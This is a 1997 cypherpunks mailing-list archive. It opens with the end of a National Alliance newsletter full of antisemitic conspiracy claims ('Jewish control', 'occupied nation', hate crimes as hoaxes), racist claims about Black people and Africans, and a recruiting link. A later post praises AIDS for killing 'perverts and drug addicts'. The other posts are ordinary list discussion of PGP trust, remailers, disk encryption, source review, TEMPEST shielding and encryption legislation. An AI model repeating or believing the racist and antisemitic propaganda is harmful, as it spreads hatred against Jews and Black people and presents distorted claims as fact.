     buses and spray-paint anti-Semitic slogans and swastikas around 
     Hillel Community Day School last year. 

     . . . Steven Rubin, the school's transportation director, directed 
     repair business to his father, who owned Priority Car Care. The son
     also was accused of faking work for his father, including $79 oil 
     changes billed at $4,000. 

     David Michael Brown, a mechanic who once worked for Al Rubin, 
     testified he acted as the middleman, paying the vandals $50. 

     . . . Steven Rubin was found guilty of nine counts of theft, three
     counts of burglary, two counts of criminal mischief, and burglary 
     conspiracy. Al Rubin was convicted of nine counts of theft. 

In this case, fellow Jews were the monetary victims of this "hate-crime"
hoax but had the real perpetrators never been caught, who would have
been blamed for these incidents? How many such "racist" incidents, which
make their way into the frightening "hate crime" statistics that the
Jewish lobby now requires our police agencies to compile, are in reality
as-yet-unexposed hoaxes? 

* * * 

The San Jose Mercury News reports that two Baltimore Sun reporters paid
$1,000 to slave owners in Sudan for two Sudanese brothers who had been
abducted from their home six years ago and since then had worked as
slaves in the fields. The reporters, after purchasing the pair, granted
them their freedom. 

This recent item demonstrates the absurdity of the controlled media's
anti-White guilt-mongering on the subject of slavery. The enslavement of
one tribe of non-Whites by another tribe of non-Whites, or by their own
tribesmen, is still taking place on the continent of Africa and
elsewhere in the non-White world. 

Slavery in Sudan is notorious, and despite government denials, and more
than one official banning, it still flourishes. It is also endemic in
Mauritania, likewise on a massive, institutionalized scale. In these
cases it is usually Islamic Berbers or Moors who hold Blacks in
captivity, though some Blacks participate in the marketing of their own
kinsmen. Blacks hold other Blacks as slaves in Niger, Nigeria, Senegal,
Sierra Leone, Ethiopia, and Rwanda according to Michael Harris of
Anti-Slavery International. 

Jews, along with European Whites, were prominent in the historic
Atlantic slave trade. That trade lasted for about three hundred years,
until it was abolished by White Europeans. But Blacks had been capturing
and enslaving neighboring tribes since time immemorial, and had been
supplying Arab slavers with their fellow Blacks for 1,000 years before
the Europeans arrived -- and they are still doing it. Scholars estimate
that over 14 million Blacks were transported to the slave bazaars of
Arabia, a greater number than were shipped to North America. At those
slave bazaars, by the way, Blacks were offered up for sale on the same
blocks where White slaves were being sold. In fact some of the
slave-trading Black kingdoms, notably the Ashanti, enslaved all
foreigners they could get their hands on and traded them for Arab gold
and trinkets. These captives sometimes even included Europeans
shipwrecked off western Africa. 

Long before the arrival of the White man, Amerindians owned slaves.
"Slave-catchers" were sent out after battles to round up the enemy
wounded for a lifetime of slavery. In some tribes the slaves accounted
for 15% of the population. Sometimes Indian "potlatch" ceremonies
included the killing of large numbers of slaves just to show off the
wealth of the slave owner. 

In Thailand, Sri Lanka, the Philippines, and other parts of the Third
World, it is well known that parents sell their children, girls and
boys, into slavery to sex club operators who use their young bodies to
attract the shekels, yen, and dollars of "sex tourists," foreign and
domestic, with various types of perversion. Some of these children are
as young as six years old. Many are sent to other countries, and slave
merchants report that they can get five or six times the price for a
child under sixteen as for an adult slave. This differential reflects
the high demand for young sex slaves to satisfy the unnatural urges of
perverts. 

Anti-Slavery International estimates that 55 million children between
the ages of 4 and 14 are enslaved in India. Some work in brothels where
they may endure dozens of sexual violations daily. Some work 18 hour per
day, seven day per week in textile, fireworks, or other manufacturing
sweatshops. These child slaves are often burned, branded with red-hot
irons, starved, whipped, chained, raped, and kept locked in cupboards
for days. 

In the Oaxaca Mountains of Mexico, women often sell their children and
ask few questions about what will become of them. The going rate is from
under $10,000 to about $20,000, depending on the child's complexion and
whether the purchaser is a Mexican or a rich Westerner. The highest
prices are fetched by children whose fathers are White men and who
inherit their fathers' coloration. These are used to supply the huge
adoption market in Europe and America, where abortion has literally
thrown a generation of White children into the trash, forcing would-be
adoptive parents to look elsewhere. A White man traveling in rural
Mexico can often have his choice of young Indians or mestizas to sleep
with -- so anxious are they to give birth to a child of "high value."
The "adoptees" are the lucky ones. Not so lucky are those sold into
lifelong slavery to rich Mexicans, who may treat them as they will.
Unluckier still are those sold to pedophiles and pimps. 

In this short time I have just barely sketched the outlines of slavery
as it existed and still exists, and I haven't even mentioned the
historic enslavement of Whites or the existence of White slavery in
modern Israel, which I wrote about several months ago in this
newsletter. Suffice it to say: Slavery has been a factor in virtually
all human societies since the dawn of history. It has not been a
phenomenon peculiar to White societies, and in a sense quite the
opposite is true. It was White people who first abolished the
institution of slavery, since many rightly came to view it not only as
pernicious to the well-being of the slave, but also degrading to the
master, inimical to the interests of the White laborer, and destructive
of the racial integrity of the nation. It was White people who first
introduced the concepts of self-government and individual freedom and
responsibility into the world. 

The Black writer Orlando Patterson just about said it all on this
subject when he stated: "There was no word for `freedom' in most
non-Western languages before contact with Western peoples." 

* * * 

Let's review a few news items that have crossed the wires recently: In
Baltimore, Maryland, an outfit called Healthy Start Men's Services,
which undoubtedly is funded by your tax money and mine, purports to have
as its purpose teaching inner city Black men how to be good fathers.
According to a report in the San Jose Mercury News, they describe as a
"typical case" a 44-year-old Baltimore man who, during those periods
when he was not incarcerated, fathered eight children by five different
women and who candidly admits he never took fatherhood seriously. If
this is their typical case, I would shudder to think about the bad ones. 

* * * 

LAGOS, NIGERIA -- Newspapers report that over sixty people became sick
after drinking Sun Light dishwashing detergent. The labels were clearly
marked "detergent" but did show a picture of a lemon and the words "real
lemon juice." 

Instances similar to this also were reported, several years ago, in
large, heavily Black metropolitan areas in the United States when
detergent samples were delivered via the mails. 

* * * 

And, on a much more serious note: 

LIBERIA -- Sensi Momoh is a Liberian living in a village to the
northwest of the capital, Monrovia. A civil war has been raging in
Liberia, and a few weeks ago soldiers from one of the factions arrived
in the village. Did they arrive to establish control and enlist the
support of the villagers. No. Garnering support was the farthest thing
from their minds. In fact, when they arrived -- unopposed -- in town the
first things they did were fire their guns at random and ransack the
huts. But that was far, very far, from the worst of it. Listen to Sensi
Momoh's own words: 

     They killed my brother. They opened up his body and took the heart
     out. They put it in a big pan and cooked it in palm butter. Then 
     they ate it. 

Was Sensi Momoh's brother a member of an opposing faction in the civil
war? No. The driving force behind this savagery is not politics, and
this was not an isolated case. The driving force is an ancient African
belief system that posits that by eating certain human body parts the
cannibal may gain in power and strength. 

Many of the refugees from the war, now in camps outside Monrovia and
accessible to the few Western journalists still remaining, described
similar acts of cannibalism, which are believed to confer supernatural
powers upon the bloody feasters. A woman related how she had seen young
soldiers of Alhaji GV Kromah's "United Liberation Movement" cut out the
heart and testicles of five young boys and eat them. While this was
taking place Kromah himself sat as a member of the Council of State in
Monrovia, put there by Western peacemakers trying to reform Liberia's
bloody ways. 

Liberia may be an extreme example, but parallels in Rwanda, Kenya,
Rhodesia, Angola, Katanga, and pre-colonial Africa abound. Absolute
autocracy is the only way that African societies have been able to
maintain a measure of order and peace. The slightest vacuum of authority
results in chaos. 

It is also interesting to note that across Central Africa the eating of
ape meat is commonplace. The Africans indulging in this practice believe
that consuming the ape will endow them with the strength and cunning of
the beast. This is clearly a variant on the beliefs of the cannibals,
and may be a relict of cannibalistic practices which have been at least
partially suppressed. It is hard to imagine that the similarity to
cannibalism is lost on the participants. 

The vice president of the Wildlife Conservation Society, John Robinson,
is worried that the practice of killing and eating apes is so prevalent
that extinction is a real possibility. He stated, "Except in locales
where the hunting is light, the exploitation of most species is not
sustainable." 

The World Society for the Protection of Animals launched a large ad
campaign beginning in 1990 to protect these animals and discourage the
killing and eating of them at ritual feasts. The result was no change in
the African's beliefs or eating habits, but there were charges of
"cultural insensitivity" from the more dedicated equalitarians. 

Foolish indeed are those who think that Western money or "ideals" will
have any lasting effect on the African manner of political succession or
spiritual beliefs. And even more foolish are those who think that we can
become one genetically with the African without becoming like him
intellectually, morally, spiritually, and politically as well. 

* * * 

WASHINGTON, DC -- The most recent crime statistics, as you may have
heard trumpeted in the media, indicate small decreases in violent crime
over the last few years. Despite this, of course, crime is tremendously
greater today than it was before the Third World invasion of America and
the so-called "civil rights" revolution. And I have a healthy skepticism
about these reports of decreasing crime, and I'll tell you why after we
review some of the statistics: Overall crime has diminished slightly,
but some crime levels have exploded. Currently there is one violent
crime every 17 seconds; one property crime every 3 seconds; one murder
every 23 minutes; one forcible rape every 5 minutes; one robbery every
51 seconds; one aggravated assault every 28 seconds; one burglary every
12 seconds; one larceny every 4 seconds; and one motor vehicle theft
every 20 seconds. 

In the next thirty minutes six more women will be raped. 

According to the Department of Justice: In 1960 there were 160 violent
crimes for every 100,000 Americans. 

In 1994 there were 715 violent crimes for every 100,000 Americans. 

They also say that since 1990 violent and property crime have declined
by respectively by 2.2 and 8.5 percent. 

Now those are fascinating figures; but I think that crime in non-White
areas is vastly understated in the statistics for several reasons. 

In some of these areas the crime situation is so bad, crimes are so
omnipresent and so routine, that only a fraction are reported. Secondly,
of those reported some are "lost in the shuffle" of paperwork because of
an inefficient and/or vastly understaffed and overworked police force
who must make the time to deal with "priority situations" and let the
rest slide. Even many of the reported and recorded crimes are not really
investigated, and never show up in arrest or conviction statistics.
Remember that these conditions exist mainly in heavily non-White areas,
so the huge difference between Whites and non-Whites in their propensity
for crime is probably considerably understated. 

I worked for many years in the occupied Washington, DC, area. My work
took me often into the areas where the tour buses (and sometimes even
the U.S. Mail) won't go. I have personal knowledge of what such urban
hells are like. 

* * * 

LOS ANGELES, CALIFORIA -- Those of you who are skeptical of that New Age
therapy, "Past Life Regression," will probably not be surprised at the
innovation of psychiatrist Adrian Finkelstein, which he calls "Future
Life Progression." No slouch, Finkelstein does not merely claim to see
your future incarnations but claims he can "reconstruct" your future
lives so as to ensure that you'll come back as someone rich and famous.
Such a service would undoubtedly be worth millions of dollars, but so
full of altruism is Dr. Finkelstein that he only charges the suckers,
uh, . . . I mean clients, two hundred dollars per hour. 

* * * 

The Israeli newspaper Haaretz published an article by Jewish columnist
Ari Shavit in which Jewish control of the United States was frankly
admitted. The really strange thing is that this column was reprinted on
May 27 by the New York Times, and except for courageous commentator
Joseph Sobran Americans are averting their eyes from the forbidden and
embarrassing truth. 

Shavit is not pleased by the cold-blooded killing committed by his
fellow Israelis in Lebanon. He states in the article: 

     We killed them out of a certain naive hubris. Believing with
     absolute certitude that now, with the White House, the Senate, and
     much of the American media in our hands, the lives of others do not
     count as much as our own. . . . 

It is just as I wrote several months ago -- some Jews now believe that
they can get away with anything. Non-Jewish lives count for nothing. Do
whatever you want, and our spin doctors in the media will keep the
American cattle from lowing. Kill at will, and the President and his
appointees and the Congress will smile and hand you even more billions
of the U.S. taxpayers' money. Remember, "the White House, the Senate,
and much of the American media are in our hands." 

Now if I stated such a thing, or if any White American stated that the
government and the media in this country were "in Jewish hands," we'd be
talking "hate crimes" and "bigotry" and that most terrible crime of all,
"anti-Semitism." Let us thank Ari Shavit for clearing the air and
speaking the truth, and forever making it impossible to deny exactly who
is responsible for America's decline to the status of an occupied
nation. 

~
For more information or to find out how you can join the leading
patriotic organization in the world today, visit the National Alliance
web site and read "What is the National Alliance" at
http://www.natvan.com/WHAT/WHATDIR.HTML.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 15 Mar 1997 02:38:00 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <332A7BF2.1B49@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> TruthMonger wrote:
> > Peter Trei wrote:
> > > Some handsome devil named "Truthmonger" writes:
> 
> > Take a whiff of some smelling-salts, Peter. The government 'never'
> > runs out of pretexes under which to harass someone who remains an
> > actionable target in their minds.
> > (Where were *you* when J.F.K was shot?)
> 
> Once you've been labeled a "conspiracy theorist", you should
> realize that you've been talking to people who are seeking after
> a smaller truth than you are.  Like the newspapers they read,
> they'll get the story eventually.

Dale,
  I will always remember reading a magazine piece by a fellow who
described the increasing persecution of the Jews in Nazi Germany,
and the abuses to which he was himself subjected.
  However, when describing the night when the jackboots kicked in
his door to take his family to the death camps, he begins his 
account by saying, "They came without warning..."
  I remember thinking, "Buy a clue, dude!"
 
> Check out the stiff who's pictured with Phil in the MicroTimes
> current issue, his new partner or something.  Phil looks happy,
> like they gave him a lifetime supply of double-stuff Oreos.

  Are both of Phil's partner's arms in plain view, or is his partner
perhaps holding a gun on him?
 
> PGP really needed to be upgraded in several ways that have already
> been discussed (briefly!) on the list, but couldn't because:
> 
> 2. BIG pressure from the feds to not implement new technology
>   (and by that I don't mean elliptic curves or discrete logs or
>    other stuff that was broken years ago).

  I agree with TruthMonger's position that the very fact of extreme
pressure being applied should be grounds for considering that perhaps
PGP might have been compromised at some level, no matter what an
analysis of the "numbers" shows, or one's faith in Philly Z.
  However, I would expand this argument to conclude that all encryption
software should be considered "compromised", for the purposes of ultra-
level security, given the influences of spooks and shadows during the
the whole course of encryption developement.

  I think that anyone who would use 'any' encryption software 'out of
the
package' for matters that would seriously impact their life and liberty,
should the contents be discovered, is not working on all cylinders.
  There seems to be some weakly thought out definition of 'paranoia'
going around which deems it to be the feeling you are supposed to get
when you hear the sound of the jackboots on your door. Excuse me for
disagreeing, but I believe the proper feeling at that point in time
may be resignation to your own death (and a firm resolve not to go
'alone' into that dark night).
  Or, if your door is strong enough, you might have one last chance
to play "Hide the Salami" with Lady Byrd.

  Someone suggested to me, in private email, that they would suspect
TruthMonger to be a Toto testicle, except for the lack of humor in 
any of his posts.
  However, I couldn't help but notice that TruthMonger's original post
in this thread was a reply to a request for information in regard to
"Anonymous Nymserver at anon.nymserver.com", and a request for an
opinion
as to the competence and integrity of those involved in its operation.
  Neither could I help noticing that TruthMonger's reply, which had
mercilessly slammed both the integrity and motivations behind all 
remailer operations, and which suggested that one unequivocally mistrust 
all of them, was sent from the very anon-server in question.
  Make of this what you will, but bear in mind that Hypocrisy and
Humor are not all that far apart in the dictionary.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 07:30:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Threat Model: Biowar
In-Reply-To: <199703151219.EAA05824@jefferson.hidden.net>
Message-ID: <iH6L4D45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@hidden.net (Anonymous) writes:

> Highly contagious airborne diseases are known to exist.  Germ warfare
> laboratories are also known to exist.  The owners of these labs will
> do anything to get and keep power.
>
> The Internet and crypto-anarchy threatens those who currently have
> power.  How will they respond?
>
> One response would be a biowarfare attack on the civilian population.
> Ironically, this would be seen to legitimize central authority.  A
> problem would have been created ("by terrorists").  Strong authority
> would be seen by most as the solution.  An epidemic may be used to
> justify ID check points everywhere, the careful monitoring of civilian
> activities, and control of all movement within the country.
>
> >From the rulers' point of view, the biowarfare attack has the
> additional attraction that it isolates people, which makes control
> easier.  While it may be harder to put somebody in jail, communities
> are easily controlled when you can limit their food supply.

AIDS was very beneficial to humankind by killing many sexual perverts
and drug addicts.  I wish other future epidemics would be as successful.

By the way, does anyone remember the AUM group in Japan, which was also
active in Russia? I never worked for them directly myself, but I knew
someone who did.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: softwinter@csts.co.il
Date: Sat, 15 Mar 1997 00:01:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ann:On the fly disk encryption for Windows NT
Message-ID: <199703150801.LAA22676@nvsgi1.netvision.net.il>
MIME-Version: 1.0
Content-Type: text/plain


Shade - First software package to provide on the fly disk encryption for Windows NT

Shade allows you to create encrypted disk device inside a file.
Such a device can then be formatted using any file system
(like NTFS or FAT) and used as a regular disk. The only difference
is that Shade will encrypt the data on every write operation
and decrypt it on every read operation.

To download  go to: http://softwinter.bitbucket.co.il/shade.html

Soft Winter Corporation,
softwinter@csts.co.il





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Mar 1997 09:43:53 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: VSACM V2.0 Source Code Request (fwd)
In-Reply-To: <4aBm4D52w165w@bwalk.dm.com>
Message-ID: <199703151734.LAA10024@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Jim Choate <ravage@EINSTEIN.ssz.com> writes:
> > Forwarded message:
> > > Subject: VSACM V2.0 Source Code Request
> > > Date: Fri, 14 Mar 1997 23:31:49 -0600 (CST)
> >
> > > I would appreciate receiving a copy of the source code for your
> > > encryption software, for the purpose of peer review.
> >
> > These sorts of requests are setting a bad precedence. All that should be
> > needed for peer review is the algorithmic expression of the software, not
> > its source code. The only issue that public review should consist of is the
> > strength of the algorithm. Questions relating to specific implimentation
> > questions should be done between vendor and client in private (caveat
> > emptor!). What those questions should be should be open to public review as
> > well. Class, not instance.
> >
> > Public review should be concerned with the characteristics of specific
> > algorithms and not the honesty of the particular implementor.
> 
> I disagree. Remember when a widely available C implementation of the Blowfish
> algorithm was found to have a bug that significantly weakened its security?
> The bug was in the C implementation, not the algorithm itself.
> 
> By the way, I requested the source code from Mr.Ramos within minutes after
> he made the offer on this mailing list and haven't heard back from him yet.

I also requested a copy and as of Sat Mar 15 11:33:17 CST 1997 have not
heard anything from Mr. Ramos yet.

I hope to receive it very soon, as Mr. Ramos promised.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Mar 1997 10:18:08 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: File Posting Limitations
In-Reply-To: <970315130201_1614018220@emout07.mail.aol.com>
Message-ID: <199703151810.MAA10360@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


DataETRsch@aol.com wrote:
> 
> I'm wondering if there is a limit on the size of a file that can be tagged to
> a message posted to the cypherpunks mailing list.
> 
> Jeremy Yu-Ramos
> DataET Research
> 

This is a very good question, Jeremy. Basically, the software that runs
this mailing list does not allow anybody to post encoded binary data
(attachments).

The best way to give code to interested parties is to put it on
your Web site and let the interested parties know its location.

Good luck,

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Mar 1997 12:14:14 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: File Posting Limitations
In-Reply-To: <199703151810.MAA10360@manifold.algebra.com>
Message-ID: <199703152012.MAA26306@songbird.com>
MIME-Version: 1.0
Content-Type: text


Igor Chudov @ home allegedly said:
> 
> DataETRsch@aol.com wrote:
> > 
> > I'm wondering if there is a limit on the size of a file that can be tagged to
> > a message posted to the cypherpunks mailing list.
> > 
> > Jeremy Yu-Ramos
> > DataET Research
> > 
> 
> This is a very good question, Jeremy. Basically, the software that runs
> this mailing list does not allow anybody to post encoded binary data
> (attachments).

Isn't that censorship?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 09:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: VSACM V2.0 Source Code Request (fwd)
In-Reply-To: <199703151544.JAA00486@einstein.ssz.com>
Message-ID: <4aBm4D52w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

> Forwarded message:
>
> > Subject: VSACM V2.0 Source Code Request
> > Date: Fri, 14 Mar 1997 23:31:49 -0600 (CST)
>
> > I would appreciate receiving a copy of the source code for your
> > encryption software, for the purpose of peer review.
>
> These sorts of requests are setting a bad precedence. All that should be
> needed for peer review is the algorithmic expression of the software, not
> its source code. The only issue that public review should consist of is the
> strength of the algorithm. Questions relating to specific implimentation
> questions should be done between vendor and client in private (caveat
> emptor!). What those questions should be should be open to public review as
> well. Class, not instance.
>
> Public review should be concerned with the characteristics of specific
> algorithms and not the honesty of the particular implementor.

I disagree. Remember when a widely available C implementation of the Blowfish
algorithm was found to have a bug that significantly weakened its security?
The bug was in the C implementation, not the algorithm itself.

By the way, I requested the source code from Mr.Ramos within minutes after
he made the offer on this mailing list and haven't heard back from him yet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 15 Mar 1997 10:02:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: File Posting Limitations
Message-ID: <970315130201_1614018220@emout07.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm wondering if there is a limit on the size of a file that can be tagged to
a message posted to the cypherpunks mailing list.

Jeremy Yu-Ramos
DataET Research




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 10:30:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: International Government Regulation, Banking, Encryption
In-Reply-To: <3328C3FE.6316@ibm.net>
Message-ID: <6NDm4D54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!news.panix.com!panix!arclight.uoregon.edu!news-m01.ny.us.ibm.net!ibm.net!news-s01.ny.us.ibm.net!not-for-mail
From: Simon Wild <siwild@ibm.net>
Newsgroups: alt.security
Subject: International Government Regulation, Banking, Encryption
Message-ID: <3328C3FE.6316@ibm.net>
Date: Fri, 14 Mar 1997 11:20:30 +0800
Reply-To: siwild@ibm.net
Lines: 11
NNTP-Posting-Host: slip202-135-10-84.hk.hk.ibm.net
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I hope that someone can help me in my quest to gather information on
current/future Government Regulation/Legislation around the world that
attempts to enforce encryption over the WAN for banks.

Link Level or Application Level ?
Acceptable key length ?
Standards ?
etc...

Simon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 13:40:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: File Posting Limitations
In-Reply-To: <199703152012.MAA26306@songbird.com>
Message-ID: <HoLm4D60w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> Igor Chudov @ home allegedly said:
> >
> > DataETRsch@aol.com wrote:
> > >
> > > I'm wondering if there is a limit on the size of a file that can be tagge
> > > a message posted to the cypherpunks mailing list.
> > >
> > > Jeremy Yu-Ramos
> > > DataET Research
> > >
> >
> > This is a very good question, Jeremy. Basically, the software that runs
> > this mailing list does not allow anybody to post encoded binary data
> > (attachments).
>
> Isn't that censorship?

Nope.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 15 Mar 1997 23:06:08 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: TEMPEST protection
In-Reply-To: <858430734.0626900.0@fatmans.demon.co.uk>
Message-ID: <3.0.1.32.19970315175312.00625448@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
>> - Whenever I need to do something secret, like reading pgp-encrypted 
>> messages, use ssh to connect from that laptop to my main Unix host
>> (manifold.algebra.com) and read those off of the laptop screen.
>> How secure would that arrangement be? At present, I do not feel that
>> the additional security is worth even $700, but who knows, that
>> may change.

If you're doing it for isolation reasons (keeping private stuff on your
laptop instead of your Internet-connected machine to reduce breakin risks),
it may be worth something.  If you're doing it for TEMPEST, don't bother;
laptops may put out less than CRTs, but I've still had my laptop emit signals
that showed up on a nearby TV semi-legibly (out of sync, but Bad Guys can
deal with that...)

If you find a TEMPEST-shielded PC at an NSA Surplus auction, it'll probably
be a 386 at best, and maybe a 286, so it may not be fast enough to bother
with.
Shielding this stuff is a Black Art, though paying a lot of attention to
cables and boxes and tight corners with metal connectivity helps a lot.
And just using a slower processor instead of that 200MHz microwave tower
also helps.

On the other hand, Matt Blaze has done some good work on cooperative
encryption
between smartcards and real computers, where the smartcard does a critical
part of the computation and the bigger computer does the bulk of the work;
you could still keep your secret keys on the slow shielded box.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@galstar.com (Igor Chudov)
Date: Sat, 15 Mar 1997 16:38:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) CarlMStarrsimulationExperiment
Message-ID: <199703160038.SAA17546@galaxy.galstar.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: mercury.galstar.com!not-for-mail
From: ichudov@galstar.com (Igor Chudov)
Newsgroups: ok.general
Subject: CarlMStarrsimulationExperiment
Date: 16 Mar 1997 00:36:32 GMT
Organization: Bool Sheet Software
Lines: 24
Message-ID: <5gffag$3gb@mercury.galstar.com>
Reply-To: ichudov@algebra.com (Igor Chudov)
NNTP-Posting-Host: galaxy.galstar.com
X-No-Archive: yes
X-Newsreader: TIN [UNIX 1.3 950824BETA PL0]


joe was pulled off a major drug case 
in the wiretapping of my phone i expect a jealous 
husband to tap my phone on in gardner ks on 
and the aftermath info need not lead to indictments or 
arrest call me or write me your info is worth 
money also it will help stop wiretap authourity from expanding 
i will give you your reward as soon as i 
accept your infomation and we agree what that reward is 
it could be a trade a car cash etc i 
have nothing to hide i know what i did and 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

No, the above was NOT written by me, nor by carl starrs. It was generated
by a perl script, which emulates writing styles of different people.
The way it does it is by keeping track of pairs of words and their most
frequently used subsequent words. It reads articles (or any text really)
written by the target person, builds the style tables, and then geenrates
the "most likely" text.

Carl starrs was a good target for two reasons, one of which is that he
does not use punctuation.

KIBO RULES!!! CLONING MADE EASY!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 15 Mar 1997 16:57:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Upcoming Crypto Actions
Message-ID: <1.5.4.32.19970316005022.0084e574@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


In addition to the March 20 House hearing on Goodlatte's 
HR695 where Phil Karn will testify, there's a Senate hearing 
on Leahy's PRO-Code bill:

   March 19;  2:00 p.m.

     Commerce, Science, and Transportation
     To hold hearings on S. 377, to promote electronic 
     commerce by facilitating the use of strong encryption.

   SR-253

This was postponed from March 11, perhaps in concert 
with Goodlatte to maximize coverage of the issue.

Recall that the administration is due to shortly release its policy 
on international encryption agreements. And BXA has scheduled
several actions to comply with The Wassenaar Arrangement:

[November 29, 1996 (Volume 61, Number 231)]
[Unified Agenda]
>From the Federal Register Online via GPO Access [frwais.access.gpo.gov]

[Page 62337-62348]

DEPARTMENT OF COMMERCE (DOC)

[Excerpts]

---------------------------------------------------------------------------

             Bureau of Export Administration--Final Rule Stage
---------------------------------------------------------------------------
                                                                            
                         Regulation
Sequence                      Title                              Identifier
Number
Number
---------------------------------------------------------------------------

669   Changes to the Commerce Control List to Accord With the 
      Wassenaar Arrangement on Export Controls for Conventional 
      Arms and Dual-Use Goods and Technologies..................  0694-AB35

670   Changes to the Export Administrative Regulations To 
      Implement the Guidelines and Information Sharing 
      Provisions of the Wassenaar Arrangement on Export Controls 
      for Conventional Arms and Dual-Use......................... 0694-AB40

676   Incorporation of the Wassenaar Arrangement Into Category 2 
      of the Commerce Control List; Expansion of License 
      Exception CIV.............................................. 0694-AB48

[End excerpts]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freedom@econopromo.com
Date: Sat, 15 Mar 1997 21:23:45 -0800 (PST)
To: <cyper@po.pacific.net.sg>
Subject: It's Only Money !!
Message-ID: <199703160517.WAA02676@postoffice.usa.net>
MIME-Version: 1.0
Content-Type: text/plain


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others, which shall leave them otherwise free to regulate their own persuits
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" When more of the people's sustenance is extacted through the form of
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It will be a slow extinction from apathy,  indifference,  and  undernourishment."

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"The point to remember is that what the government gives,  it must
first take away."

--  John S. Coleman,  Address to Detroit Chamber of  Commerce





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kamil Golombek <zero@molly.vabo.cz>
Date: Tue, 13 May 1997 13:39:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <332B165D.CA689CE7@molly.vabo.cz>
MIME-Version: 1.0
Content-Type: text/plain

lists


begin:vcard

fn:Golombek, Kamil 

n:Golombek;Kamil 

org:Military Academy Brno

email;internet:zero@molly.vabo.cz

title:student

x-mozilla-cpt:;0

x-mozilla-html:TRUE

end:vcard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Mar 1997 21:46:33 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: t0ad t3st
